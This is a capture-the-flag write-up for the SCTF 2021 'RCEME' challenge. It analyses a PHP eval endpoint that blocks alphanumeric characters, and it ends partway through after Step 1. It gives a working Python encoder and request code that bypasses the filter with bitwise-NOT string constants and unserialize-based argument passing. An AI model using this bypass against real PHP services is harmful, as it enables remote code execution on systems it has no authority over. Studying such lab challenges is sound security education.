SCTF 2021 RCEME Write-up
Write-ups for SCTF 2021 RCEME challenge.
Task
We are given the source of a PHP script by highlight_file
:
<?php
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Try harder!\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
The script also outputs its disable_functions
by var_dump
:
string(25472) "zend_version, func_num_args, func_get_arg, func_get_args, strcmp, strncmp, strcasecmp, strncasecmp, each, error_log, define, defined, get_class, get_called_class, get_parent_class, method_exists, property_exists, class_exists, interface_exists, trait_exists, function_exists, class_alias, get_included_files, get_required_files, is_subclass_of, is_a, get_class_vars, get_object_vars, get_mangled_object_vars, get_class_methods, trigger_error, user_error, restore_error_handler, set_exception_handler, restore_exception_handler, get_declared_classes, get_declared_traits, get_declared_interfaces, get_defined_functions, get_defined_vars, get_resource_type, get_resources, get_loaded_extensions, extension_loaded, get_extension_funcs, get_defined_constants, debug_backtrace, debug_print_backtrace, gc_mem_caches, gc_collect_cycles, gc_enabled, gc_enable, gc_disable, gc_status, strtotime, date, idate, gmdate, mktime, gmmktime, checkdate, strftime, gmstrftime, time, localtime, getdate, date_create, date_create_immutable, date_create_from_format, date_create_immutable_from_format, date_parse, date_parse_from_format, date_get_last_errors, date_format, date_modify, date_add, date_sub, date_timezone_get, date_timezone_set, date_offset_get, date_diff, date_time_set, date_date_set, date_isodate_set, date_timestamp_set, date_timestamp_get, timezone_open, timezone_name_get, timezone_name_from_abbr, timezone_offset_get, timezone_transitions_get, timezone_location_get, timezone_identifiers_list, timezone_abbreviations_list, timezone_version_get, date_interval_create_from_date_string, date_interval_format, date_default_timezone_set, date_default_timezone_get, date_sunrise, date_sunset, date_sun_info, libxml_set_streams_context, libxml_use_internal_errors, libxml_get_last_error, libxml_clear_errors, libxml_get_errors, libxml_disable_entity_loader, libxml_set_external_entity_loader, openssl_get_cert_locations, openssl_spki_new, openssl_spki_verify, openssl_spki_export, openssl_spki_export_challenge, openssl_pkey_free, openssl_pkey_new, openssl_pkey_export, openssl_pkey_export_to_file, openssl_pkey_get_private, openssl_pkey_get_public, openssl_pkey_get_details, openssl_free_key, openssl_get_privatekey, openssl_get_publickey, openssl_x509_read, openssl_x509_free, openssl_x509_parse, openssl_x509_checkpurpose, openssl_x509_check_private_key, openssl_x509_verify, openssl_x509_export, openssl_x509_fingerprint, openssl_x509_export_to_file, openssl_pkcs12_export, openssl_pkcs12_export_to_file, openssl_pkcs12_read, openssl_csr_new, openssl_csr_export, openssl_csr_export_to_file, openssl_csr_sign, openssl_csr_get_subject, openssl_csr_get_public_key, openssl_digest, openssl_encrypt, openssl_decrypt, openssl_cipher_iv_length, openssl_sign, openssl_verify, openssl_seal, openssl_open, openssl_pbkdf2, openssl_pkcs7_verify, openssl_pkcs7_decrypt, openssl_pkcs7_sign, openssl_pkcs7_encrypt, openssl_pkcs7_read, openssl_private_encrypt, openssl_private_decrypt, openssl_public_encrypt, openssl_public_decrypt, openssl_get_md_methods, openssl_get_cipher_methods, openssl_get_curve_names, openssl_dh_compute_key, openssl_pkey_derive, openssl_random_pseudo_bytes, openssl_error_string, preg_match_all, preg_replace_callback, preg_replace_callback_array, preg_filter, preg_split, preg_quote, preg_grep, preg_last_error, readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, gzpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gzdeflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_coding_type, deflate_init, deflate_add, inflate_init, inflate_add, inflate_get_status, inflate_get_read_len, ob_gzhandler, filter_input, filter_var, filter_input_array, filter_var_array, filter_list, filter_has_var, filter_id, hash, hash_file, hash_hmac, hash_hmac_file, hash_init, hash_update, hash_update_stream, hash_update_file, hash_final, hash_copy, hash_algos, hash_hmac_algos, hash_pbkdf2, hash_equals, hash_hkdf, mhash_keygen_s2k, mhash_get_block_size, mhash_get_hash_name, mhash_count, mhash, session_name, session_module_name, session_save_path, session_id, session_create_id, session_regenerate_id, session_decode, session_encode, session_start, session_destroy, session_unset, session_gc, session_set_save_handler, session_cache_limiter, session_cache_expire, session_set_cookie_params, session_get_cookie_params, session_write_close, session_abort, session_reset, session_status, session_register_shutdown, session_commit, sodium_crypto_aead_aes256gcm_is_available, sodium_crypto_aead_aes256gcm_decrypt, sodium_crypto_aead_aes256gcm_encrypt, sodium_crypto_aead_aes256gcm_keygen, sodium_crypto_aead_chacha20poly1305_decrypt, sodium_crypto_aead_chacha20poly1305_encrypt, sodium_crypto_aead_chacha20poly1305_keygen, sodium_crypto_aead_chacha20poly1305_ietf_decrypt, sodium_crypto_aead_chacha20poly1305_ietf_encrypt, sodium_crypto_aead_chacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_decrypt, sodium_crypto_aead_xchacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_encrypt, sodium_crypto_auth, sodium_crypto_auth_keygen, sodium_crypto_auth_verify, sodium_crypto_box, sodium_crypto_box_keypair, sodium_crypto_box_seed_keypair, sodium_crypto_box_keypair_from_secretkey_and_publickey, sodium_crypto_box_open, sodium_crypto_box_publickey, sodium_crypto_box_publickey_from_secretkey, sodium_crypto_box_seal, sodium_crypto_box_seal_open, sodium_crypto_box_secretkey, sodium_crypto_kx_keypair, sodium_crypto_kx_publickey, sodium_crypto_kx_secretkey, sodium_crypto_kx_seed_keypair, sodium_crypto_kx_client_session_keys, sodium_crypto_kx_server_session_keys, sodium_crypto_generichash, sodium_crypto_generichash_keygen, sodium_crypto_generichash_init, sodium_crypto_generichash_update, sodium_crypto_generichash_final, sodium_crypto_kdf_derive_from_key, sodium_crypto_kdf_keygen, sodium_crypto_pwhash, sodium_crypto_pwhash_str, sodium_crypto_pwhash_str_verify, sodium_crypto_pwhash_str_needs_rehash, sodium_crypto_pwhash_scryptsalsa208sha256, sodium_crypto_pwhash_scryptsalsa208sha256_str, sodium_crypto_pwhash_scryptsalsa208sha256_str_verify, sodium_crypto_scalarmult, sodium_crypto_secretbox, sodium_crypto_secretbox_keygen, sodium_crypto_secretbox_open, sodium_crypto_secretstream_xchacha20poly1305_keygen, sodium_crypto_secretstream_xchacha20poly1305_init_push, sodium_crypto_secretstream_xchacha20poly1305_push, sodium_crypto_secretstream_xchacha20poly1305_init_pull, sodium_crypto_secretstream_xchacha20poly1305_pull, sodium_crypto_secretstream_xchacha20poly1305_rekey, sodium_crypto_shorthash, sodium_crypto_shorthash_keygen, sodium_crypto_sign, sodium_crypto_sign_detached, sodium_crypto_sign_ed25519_pk_to_curve25519, sodium_crypto_sign_ed25519_sk_to_curve25519, sodium_crypto_sign_keypair, sodium_crypto_sign_keypair_from_secretkey_and_publickey, sodium_crypto_sign_open, sodium_crypto_sign_publickey, sodium_crypto_sign_secretkey, sodium_crypto_sign_publickey_from_secretkey, sodium_crypto_sign_seed_keypair, sodium_crypto_sign_verify_detached, sodium_crypto_stream, sodium_crypto_stream_keygen, sodium_crypto_stream_xor, sodium_add, sodium_compare, sodium_increment, sodium_memcmp, sodium_memzero, sodium_pad, sodium_unpad, sodium_bin2hex, sodium_hex2bin, sodium_bin2base64, sodium_base642bin, sodium_crypto_scalarmult_base, spl_classes, spl_autoload, spl_autoload_extensions, spl_autoload_register, spl_autoload_unregister, spl_autoload_functions, spl_autoload_call, class_parents, class_implements, class_uses, spl_object_hash, spl_object_id, iterator_to_array, iterator_count, iterator_apply, constant, bin2hex, hex2bin, sleep, usleep, time_nanosleep, time_sleep_until, strptime, flush, wordwrap, htmlspecialchars, htmlentities, html_entity_decode, htmlspecialchars_decode, get_html_translation_table, sha1, sha1_file, md5, md5_file, crc32, iptcparse, iptcembed, getimagesize, getimagesizefromstring, image_type_to_mime_type, image_type_to_extension, phpversion, phpcredits, php_sapi_name, php_uname, php_ini_scanned_files, php_ini_loaded_file, strnatcmp, strnatcasecmp, substr_count, strspn, strcspn, strtok, strtoupper, ini_set, strtolower, strpos, stripos, strrpos, strripos, strrev, hebrev, hebrevc, nl2br, basename, dirname, pathinfo, stripslashes, stripcslashes, stristr, strrchr, str_shuffle, str_word_count, str_split, strpbrk, substr_compare, utf8_encode, utf8_decode, strcoll, money_format, substr, substr_replace, quotemeta, ucfirst, lcfirst, ucwords, strtr, addslashes, addcslashes, rtrim, str_replace, str_ireplace, str_repeat, count_chars, chunk_split, trim, ltrim, strip_tags, similar_text, explode, implode, join, setlocale, localeconv, nl_langinfo, soundex, levenshtein, chr, ord, parse_str, str_getcsv, str_pad, chop, strchr, sprintf, printf, vprintf, vsprintf, fprintf, vfprintf, sscanf, fscanf, parse_url, urlencode, urldecode, rawurlencode, rawurldecode, http_build_query, readlink, linkinfo, symlink, link, unlink, exec, system, escapeshellcmd, passthru, shell_exec, proc_open, proc_close, proc_terminate, proc_get_status, proc_nice, rand, srand, getrandmax, mt_rand, mt_srand, mt_getrandmax, random_bytes, random_int, getservbyname, getservbyport, getprotobyname, getprotobynumber, getmyuid, getmygid, getmypid, getmyinode, getlastmod, base64_decode, base64_encode, password_hash, password_get_info, password_needs_rehash, password_verify, password_algos, convert_uuencode, convert_uudecode, abs, ceil, floor, round, sin, cos, tan, asin, acos, atan, atanh, atan2, sinh, cosh, tanh, asinh, acosh, expm1, log1p, pi, is_finite, is_nan, is_infinite, pow, exp, log, log10, sqrt, hypot, deg2rad, rad2deg, bindec, hexdec, octdec, decbin, decoct, dechex, base_convert, number_format, fmod, intdiv, inet_ntop, inet_pton, ip2long, long2ip, getopt, sys_getloadavg, microtime, gettimeofday, getrusage, hrtime, uniqid, quoted_printable_decode, quoted_printable_encode, convert_cyr_string, get_current_user, set_time_limit, header_register_callback, get_cfg_var, get_magic_quotes_gpc, get_magic_quotes_runtime, error_get_last, error_clear_last, call_user_func_array, forward_static_call, forward_static_call_array, serialize, var_export, debug_zval_dump, print_r, memory_get_usage, memory_get_peak_usage, register_shutdown_function, register_tick_function, unregister_tick_function, highlight_string, php_strip_whitespace, ini_get_all, ini_alter, ini_restore, get_include_path, set_include_path, restore_include_path, setcookie, setrawcookie, header, header_remove, headers_sent, headers_list, http_response_code, connection_aborted, connection_status, ignore_user_abort, parse_ini_file, parse_ini_string, is_uploaded_file, move_uploaded_file, gethostbyaddr, gethostbyname, gethostbynamel, gethostname, net_get_interfaces, dns_check_record, checkdnsrr, dns_get_mx, getmxrr, dns_get_record, intval, floatval, doubleval, strval, boolval, gettype, settype, is_null, is_resource, is_bool, is_int, is_float, is_integer, is_long, is_double, is_real, is_numeric, is_string, is_array, is_object, is_scalar, is_callable, is_iterable, is_countable, pclose, popen, readfile, rewind, rmdir, umask, fclose, feof, fgetc, fgets, fgetss, fread, fopen, fpassthru, ftruncate, fstat, fseek, ftell, fflush, fwrite, fputs, mkdir, rename, copy, tempnam, tmpfile, file, file_get_contents, file_put_contents, stream_select, stream_context_create, stream_context_set_params, stream_context_get_params, stream_context_set_option, stream_context_get_options, stream_context_get_default, stream_context_set_default, stream_filter_prepend, stream_filter_append, stream_filter_remove, stream_socket_client, stream_socket_server, stream_socket_accept, stream_socket_get_name, stream_socket_recvfrom, stream_socket_sendto, stream_socket_enable_crypto, stream_socket_shutdown, stream_socket_pair, stream_copy_to_stream, stream_get_contents, stream_supports_lock, stream_isatty, fgetcsv, fputcsv, flock, get_meta_tags, stream_set_read_buffer, stream_set_write_buffer, set_file_buffer, stream_set_chunk_size, stream_set_blocking, socket_set_blocking, stream_get_meta_data, stream_get_line, stream_wrapper_register, stream_register_wrapper, stream_wrapper_unregister, stream_wrapper_restore, stream_get_wrappers, stream_get_transports, stream_resolve_include_path, stream_is_local, get_headers, stream_set_timeout, socket_set_timeout, socket_get_status, realpath, fnmatch, fsockopen, pfsockopen, pack, unpack, get_browser, crypt, opendir, closedir, chdir, getcwd, rewinddir, readdir, dir, scandir, glob, fileatime, filectime, filegroup, fileinode, filemtime, fileowner, fileperms, filesize, filetype, file_exists, is_writable, is_writeable, is_readable, is_executable, is_file, is_dir, is_link, stat, lstat, chown, chgrp, lchown, lchgrp, chmod, touch, clearstatcache, disk_total_space, disk_free_space, diskfreespace, realpath_cache_size, realpath_cache_get, ezmlm_hash, openlog, syslog, closelog, lcg_value, metaphone, ob_start, ob_flush, ob_clean, ob_end_flush, ob_end_clean, ob_get_flush, ob_get_clean, ob_get_length, ob_get_level, ob_get_status, ob_get_contents, ob_implicit_flush, ob_list_handlers, ksort, krsort, natsort, natcasesort, asort, arsort, sort, rsort, usort, uasort, uksort, shuffle, array_walk, array_walk_recursive, count, prev, next, reset, current, key, min, max, in_array, array_search, extract, compact, array_fill, array_fill_keys, range, array_multisort, array_push, array_pop, array_shift, array_unshift, array_splice, array_slice, array_merge, array_merge_recursive, array_replace, array_replace_recursive, array_keys, array_key_first, array_key_last, array_values, array_count_values, array_column, array_reverse, array_reduce, array_pad, array_flip, array_change_key_case, array_rand, array_unique, array_intersect, array_intersect_key, array_intersect_ukey, array_uintersect, array_intersect_assoc, array_uintersect_assoc, array_intersect_uassoc, array_uintersect_uassoc, array_diff, array_diff_key, array_diff_ukey, array_udiff, array_diff_assoc, array_udiff_assoc, array_diff_uassoc, array_udiff_uassoc, array_sum, array_product, array_filter, array_map, array_chunk, array_combine, array_key_exists, pos, sizeof, key_exists, assert, assert_options, version_compare, ftok, str_rot13, stream_get_filters, stream_filter_register, stream_bucket_make_writeable, stream_bucket_prepend, stream_bucket_append, stream_bucket_new, output_add_rewrite_var, output_reset_rewrite_vars, sys_get_temp_dir, apache_lookup_uri, virtual, apache_request_headers, apache_response_headers, apache_getenv, apache_note, apache_get_version, apache_get_modules, xxhash32, xxhash64, pdo_drivers, xml_parser_create, xml_parser_create_ns, xml_set_object, xml_set_element_handler, xml_set_character_data_handler, xml_set_processing_instruction_handler, xml_set_default_handler, xml_set_unparsed_entity_decl_handler, xml_set_notation_decl_handler, xml_set_external_entity_ref_handler, xml_set_start_namespace_decl_handler, xml_set_end_namespace_decl_handler, xml_parse, xml_parse_into_struct, xml_get_error_code, xml_error_string, xml_get_current_line_number, xml_get_current_column_number, xml_get_current_byte_index, xml_parser_free, xml_parser_set_option, xml_parser_get_option, jdtogregorian, gregoriantojd, jdtojulian, juliantojd, jdtojewish, jewishtojd, jdtofrench, frenchtojd, jddayofweek, jdmonthname, easter_date, easter_days, unixtojd, jdtounix, cal_to_jd, cal_from_jd, cal_days_in_month, cal_info, ctype_alnum, ctype_alpha, ctype_cntrl, ctype_digit, ctype_lower, ctype_graph, ctype_print, ctype_punct, ctype_space, ctype_upper, ctype_xdigit, dom_import_simplexml, exif_read_data, read_exif_data, exif_tagname, exif_thumbnail, exif_imagetype, finfo_open, finfo_close, finfo_set_flags, finfo_file, finfo_buffer, mime_content_type, ftp_connect, ftp_ssl_connect, ftp_login, ftp_pwd, ftp_cdup, ftp_chdir, ftp_exec, ftp_raw, ftp_mkdir, ftp_rmdir, ftp_chmod, ftp_alloc, ftp_nlist, ftp_rawlist, ftp_mlsd, ftp_systype, ftp_pasv, ftp_get, ftp_fget, ftp_put, ftp_append, ftp_fput, ftp_size, ftp_mdtm, ftp_rename, ftp_delete, ftp_site, ftp_close, ftp_set_option, ftp_get_option, ftp_nb_fget, ftp_nb_get, ftp_nb_continue, ftp_nb_put, ftp_nb_fput, ftp_quit, gd_info, imagearc, imageellipse, imagechar, imagecharup, imagecolorat, imagecolorallocate, imagepalettecopy, imagecreatefromstring, imagecolorclosest, imagecolorclosesthwb, imagecolordeallocate, imagecolorresolve, imagecolorexact, imagecolorset, imagecolortransparent, imagecolorstotal, imagecolorsforindex, imagecopy, imagecopymerge, imagecopymergegray, imagecopyresized, imagecreate, imagecreatetruecolor, imageistruecolor, imagetruecolortopalette, imagepalettetotruecolor, imagesetthickness, imagefilledarc, imagefilledellipse, imagealphablending, imagesavealpha, imagecolorallocatealpha, imagecolorresolvealpha, imagecolorclosestalpha, imagecolorexactalpha, imagecopyresampled, imagerotate, imageflip, imageantialias, imagecrop, imagecropauto, imagescale, imageaffine, imageaffinematrixconcat, imageaffinematrixget, imagesetinterpolation, imagesettile, imagesetbrush, imagesetstyle, imagecreatefrompng, imagecreatefromwebp, imagecreatefromgif, imagecreatefromjpeg, imagecreatefromwbmp, imagecreatefromxbm, imagecreatefromxpm, imagecreatefromgd, imagecreatefromgd2, imagecreatefromgd2part, imagecreatefrombmp, imagecreatefromtga, imagepng, imagewebp, imagegif, imagejpeg, imagewbmp, imagegd, imagegd2, imagebmp, imagedestroy, imagegammacorrect, imagefill, imagefilledpolygon, imagefilledrectangle, imagefilltoborder, imagefontwidth, imagefontheight, imageinterlace, imageline, imageloadfont, imagepolygon, imageopenpolygon, imagerectangle, imagesetpixel, imagestring, imagestringup, imagesx, imagesy, imagesetclip, imagegetclip, imagedashedline, imagettfbbox, imagettftext, imageftbbox, imagefttext, imagetypes, jpeg2wbmp, png2wbmp, image2wbmp, imagelayereffect, imagexbm, imagecolormatch, imagefilter, imageconvolution, imageresolution, textdomain, gettext, _, dgettext, dcgettext, bindtextdomain, ngettext, dngettext, dcngettext, bind_textdomain_codeset, gmp_init, gmp_import, gmp_export, gmp_intval, gmp_strval, gmp_add, gmp_sub, gmp_mul, gmp_div_qr, gmp_div_q, gmp_div_r, gmp_div, gmp_mod, gmp_divexact, gmp_neg, gmp_abs, gmp_fact, gmp_sqrt, gmp_sqrtrem, gmp_root, gmp_rootrem, gmp_pow, gmp_powm, gmp_perfect_square, gmp_perfect_power, gmp_prob_prime, gmp_gcd, gmp_gcdext, gmp_lcm, gmp_invert, gmp_jacobi, gmp_legendre, gmp_kronecker, gmp_cmp, gmp_sign, gmp_random, gmp_random_seed, gmp_random_bits, gmp_random_range, gmp_and, gmp_or, gmp_com, gmp_xor, gmp_setbit, gmp_clrbit, gmp_testbit, gmp_scan0, gmp_scan1, gmp_popcount, gmp_hamdist, gmp_nextprime, gmp_binomial, iconv, iconv_get_encoding, iconv_set_encoding, iconv_strlen, iconv_substr, iconv_strpos, iconv_strrpos, iconv_mime_encode, iconv_mime_decode, iconv_mime_decode_headers, json_encode, json_decode, json_last_error, json_last_error_msg, mb_convert_case, mb_strtoupper, mb_strtolower, mb_language, mb_internal_encoding, mb_http_input, mb_http_output, mb_detect_order, mb_substitute_character, mb_parse_str, mb_output_handler, mb_preferred_mime_name, mb_str_split, mb_strlen, mb_strpos, mb_strrpos, mb_stripos, mb_strripos, mb_strstr, mb_strrchr, mb_stristr, mb_strrichr, mb_substr_count, mb_substr, mb_strcut, mb_strwidth, mb_strimwidth, mb_convert_encoding, mb_detect_encoding, mb_list_encodings, mb_encoding_aliases, mb_convert_kana, mb_encode_mimeheader, mb_decode_mimeheader, mb_convert_variables, mb_encode_numericentity, mb_decode_numericentity, mb_send_mail, mb_get_info, mb_check_encoding, mb_ord, mb_chr, mb_scrub, mb_regex_encoding, mb_regex_set_options, mb_ereg, mb_eregi, mb_ereg_replace, mb_eregi_replace, mb_ereg_replace_callback, mb_split, mb_ereg_match, mb_ereg_search, mb_ereg_search_pos, mb_ereg_search_regs, mb_ereg_search_init, mb_ereg_search_getregs, mb_ereg_search_getpos, mb_ereg_search_setpos, mbregex_encoding, mbereg, mberegi, mbereg_replace, mberegi_replace, mbsplit, mbereg_match, mbereg_search, mbereg_search_pos, mbereg_search_regs, mbereg_search_init, mbereg_search_getregs, mbereg_search_getpos, mbereg_search_setpos, mysqli_affected_rows, mysqli_autocommit, mysqli_begin_transaction, mysqli_change_user, mysqli_character_set_name, mysqli_close, mysqli_commit, mysqli_connect, mysqli_connect_errno, mysqli_connect_error, mysqli_data_seek, mysqli_dump_debug_info, mysqli_debug, mysqli_errno, mysqli_error, mysqli_error_list, mysqli_stmt_execute, mysqli_execute, mysqli_fetch_field, mysqli_fetch_fields, mysqli_fetch_field_direct, mysqli_fetch_lengths, mysqli_fetch_all, mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_object, mysqli_fetch_row, mysqli_field_count, mysqli_field_seek, mysqli_field_tell, mysqli_free_result, mysqli_get_connection_stats, mysqli_get_client_stats, mysqli_get_charset, mysqli_get_client_info, mysqli_get_client_version, mysqli_get_links_stats, mysqli_get_host_info, mysqli_get_proto_info, mysqli_get_server_info, mysqli_get_server_version, mysqli_get_warnings, mysqli_init, mysqli_info, mysqli_insert_id, mysqli_kill, mysqli_more_results, mysqli_multi_query, mysqli_next_result, mysqli_num_fields, mysqli_num_rows, mysqli_options, mysqli_ping, mysqli_poll, mysqli_prepare, mysqli_report, mysqli_query, mysqli_real_connect, mysqli_real_escape_string, mysqli_real_query, mysqli_reap_async_query, mysqli_release_savepoint, mysqli_rollback, mysqli_savepoint, mysqli_select_db, mysqli_set_charset, mysqli_stmt_affected_rows, mysqli_stmt_attr_get, mysqli_stmt_attr_set, mysqli_stmt_bind_param, mysqli_stmt_bind_result, mysqli_stmt_close, mysqli_stmt_data_seek, mysqli_stmt_errno, mysqli_stmt_error, mysqli_stmt_error_list, mysqli_stmt_fetch, mysqli_stmt_field_count, mysqli_stmt_free_result, mysqli_stmt_get_result, mysqli_stmt_get_warnings, mysqli_stmt_init, mysqli_stmt_insert_id, mysqli_stmt_more_results, mysqli_stmt_next_result, mysqli_stmt_num_rows, mysqli_stmt_param_count, mysqli_stmt_prepare, mysqli_stmt_reset, mysqli_stmt_result_metadata, mysqli_stmt_send_long_data, mysqli_stmt_store_result, mysqli_stmt_sqlstate, mysqli_sqlstate, mysqli_ssl_set, mysqli_stat, mysqli_store_result, mysqli_thread_id, mysqli_thread_safe, mysqli_use_result, mysqli_warning_count, mysqli_refresh, mysqli_escape_string, mysqli_set_opt, posix_kill, posix_getpid, posix_getppid, posix_getuid, posix_setuid, posix_geteuid, posix_seteuid, posix_getgid, posix_setgid, posix_getegid, posix_setegid, posix_getgroups, posix_getlogin, posix_getpgrp, posix_setsid, posix_setpgid, posix_getpgid, posix_getsid, posix_uname, posix_times, posix_ctermid, posix_ttyname, posix_isatty, posix_getcwd, posix_mkfifo, posix_mknod, posix_access, posix_getgrnam, posix_getgrgid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_setrlimit, posix_get_last_error, posix_errno, posix_strerror, posix_initgroups, readline, readline_info, readline_add_history, readline_clear_history, readline_list_history, readline_read_history, readline_write_history, readline_completion_function, readline_callback_handler_install, readline_callback_read_char, readline_callback_handler_remove, readline_redisplay, readline_on_new_line, shmop_open, shmop_read, shmop_close, shmop_size, shmop_write, shmop_delete, simplexml_load_file, simplexml_load_string, simplexml_import_dom, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_accept, socket_set_nonblock, socket_set_block, socket_listen, socket_close, socket_write, socket_read, socket_getsockname, socket_getpeername, socket_connect, socket_strerror, socket_bind, socket_recv, socket_send, socket_recvfrom, socket_sendto, socket_get_option, socket_set_option, socket_shutdown, socket_last_error, socket_clear_error, socket_import_stream, socket_export_stream, socket_sendmsg, socket_recvmsg, socket_cmsg_space, socket_addrinfo_lookup, socket_addrinfo_connect, socket_addrinfo_bind, socket_addrinfo_explain, socket_getopt, socket_setopt, msg_get_queue, msg_send, msg_receive, msg_remove_queue, msg_stat_queue, msg_set_queue, msg_queue_exists, sem_get, sem_acquire, sem_release, sem_remove, shm_attach, shm_remove, shm_detach, shm_put_var, shm_has_var, shm_get_var, shm_remove_var, token_get_all, token_name, xmlwriter_open_uri, xmlwriter_open_memory, xmlwriter_set_indent, xmlwriter_set_indent_string, xmlwriter_start_comment, xmlwriter_end_comment, xmlwriter_start_attribute, xmlwriter_end_attribute, xmlwriter_write_attribute, xmlwriter_start_attribute_ns, xmlwriter_write_attribute_ns, xmlwriter_start_element, xmlwriter_end_element, xmlwriter_full_end_element, xmlwriter_start_element_ns, xmlwriter_write_element, xmlwriter_write_element_ns, xmlwriter_start_pi, xmlwriter_end_pi, xmlwriter_write_pi, xmlwriter_start_cdata, xmlwriter_end_cdata, xmlwriter_write_cdata, xmlwriter_text, xmlwriter_write_raw, xmlwriter_start_document, xmlwriter_end_document, xmlwriter_write_comment, xmlwriter_start_dtd, xmlwriter_end_dtd, xmlwriter_write_dtd, xmlwriter_start_dtd_element, xmlwriter_end_dtd_element, xmlwriter_write_dtd_element, xmlwriter_start_dtd_attlist, xmlwriter_end_dtd_attlist, xmlwriter_write_dtd_attlist, xmlwriter_start_dtd_entity, xmlwriter_end_dtd_entity, xmlwriter_write_dtd_entity, xmlwriter_output_memory, xmlwriter_flush, zip_open, zip_close, zip_read, zip_entry_open, zip_entry_close, zip_entry_read, zip_entry_filesize, zip_entry_name, zip_entry_compressedsize, zip_entry_compressionmethod, opcache_reset, opcache_invalidate, opcache_compile_file, opcache_is_script_cached, opcache_get_configuration, opcache_get_status,mail,imap_mail,imap_open"
Server HTTP response headers:
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 7781
Content-Type: text/html; charset=UTF-8
Date: Mon, 27 Dec 2021 06:58:37 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.2.34
Ideas
Hopefully, we will run some malicious codes through the script by POST cmd
.
But at first, we should figure out what kind of codes are allowed to be executed:
-
Rule 1: no parts are matched with regexp
/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm
it is easy to select the rested characters out, including
- all control characters
\t
\n
\r
!#%()*.:;<@[\]_{}~
-
Rule 2:
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
it’s tricky to explain what this means, however, examples are shown below and its testing is available in a playground.
valid:
A(); A(); A(B(C())); A(A.B_CxD[()); _x!(A.B_CxD[());
invalid:
A(B()_C()); A();B(); X(~);
-
Rule 3: last but not least, it should not call any of
disable_functions
Whenever we try to exploit the script, we should remember these 3 rules.
Background: Some Useful PHP Features
Assumed String Constants
In PHP, most non-special characters in a row (i.e. excluding some keywords, spaces, $"'/()[]
etc.)
will be considered as a symbol to a constant.
For numerical symbols (e.g. 6
12345
89.9
), they will be translated into values directly;
but for non-numerical symbols (e.g. S
ABC
), they will be first looked up in constants; if there isn’t any defined one, then they will be assumed as string constants:
It even holds true for bytes (e.g \xAB
\x9E\x9F\xAA
) since there is in fact
no differences between so-called “string” or “bytes” in PHP:
Strings and Bitwise Operators
Strings in PHP support unary & binary bitwise operators. For example, ~\xBE\xA5
is equivalent as \x41\x5A
since we have
[ \operatorname{NOT}(\texttt{BEh}) = \texttt{41h},\operatorname{NOT}(\texttt{A5h}) = \texttt{5Ah}. ]
For binary operators like & |
, the result is made up of corresponding operated bytes. All the extra bytes are truncated, that is, the result has the same length of the shorter string.
Step 1: Invent Own Encoding
We are glad to do function calls to exploit the script.
Based on the previous 3 rules and features, we are going to invent our own
encoding for function calls. A function name can be encoded as
(noticing [~\x??\x??\x??]
is an array and ~\xCF == '0'
is its index)
[~\x??\x??\x??][~\xCF]
(Question: why can’t we directly use ~\x??\x??\x??
as function name?)
A function call without arguments can be written in the form of:
[~\x??\x??\x??][~\xCF]()
If we want to call phpinfo
for example, with library requests
, we can just
import requests
TARGET = 'WHATS_OUR_TARGET'
res = requests.post(TARGET, data={
'cmd': b'[~\x8f\x97\x8f\x96\x91\x99\x90][~\xCF]();'
})
print(res.text)
What shall we do if a function call needs parameter? What about the following:
[~\x??\x??\x??][~\xCF](~\x??\x??\x??, ~\x??\x??\x??)
No! This will break Rule 2 mentioned before.
A twisted approach is to have such encoding for an 1-argument call.
[~\x??\x??\x??][~\xCF](~\x??\x??\x??.strlen())
However, this will break Rule 1, the solution is to replace strlen()
with
a 0-argument call to strlen
in our own encoding:
"strlen"
^
|
[~\x??\x??\x??][~\xCF](~\x??\x??\x??.[~\x??\x??\x??][~\xCF]())
What about function calls with multiple ( >= 2) arguments?
There is a “spotlight” function in PHP called unserialize
, its input is a string
and its output can be any object (numbers, strings, arrays, class instances etc.).
With argument unpacking features
in PHP (5.6+) (as figure shown)
We can thus convert a processed string to an array by unserialize
and pass it
as arguments for function calls by argument unpacking.
In Python, the library phpserialize
offers such abilities to serialize an
array to a string, and that string is what unserialize
accepts.
This is the encoding part:
# For passing multiple arguments
import phpserialize
class exp:
@staticmethod
def _raw_encode(data):
encoded = b''
if isinstance(data, str):
data = data.encode()
for b in data:
encoded += bytes([~b & 0xFF])
return encoded
@staticmethod
def expr(data):
return b'~' + exp._raw_encode(data)
@staticmethod
def symbol(name):
return b'[~' + exp._raw_encode(name) + b']' + b'[~\xCF]'
@staticmethod
def single_argument(arg):
return exp.expr(arg) + b'.' + exp.call('strlen')
@staticmethod
def arguments(*args):
if len(args) == 0:
return b''
else:
return b'...' + exp.call('unserialize', exp.single_argument(phpserialize.dumps(args)))
@staticmethod
def call(function, *args):
if len(args) == 0:
return exp.symbol(function) + b'()'
elif len(args) == 1:
if type(args[0]) == bytes:
return exp.symbol(function) + b'(' + args[0] + b')'
else:
return exp.symbol(function) + b'(' + exp.single_argument(args[0]) + b')'
else:
return exp.symbol(function) + b'(' + exp.arguments(*args) + b')'
To use it, just call exp.call
with function name and all arguments.
Do not forget the final semicolon!
(While most functions are disabled, strstr
is not disabled by comparison)
import requests
TARGET = 'WHATS_OUR_TARGET'
res = requests.post(TARGET, data={
'cmd': exp.call('var_dump', exp.call('strstr', 'abcd', 'b')) + b';'
})
print(res.text)
Step 2: Find Useful Functions
What is the next step? Let us see what we have:
- ability to call arbitrary nested functions except those in
disable_functions
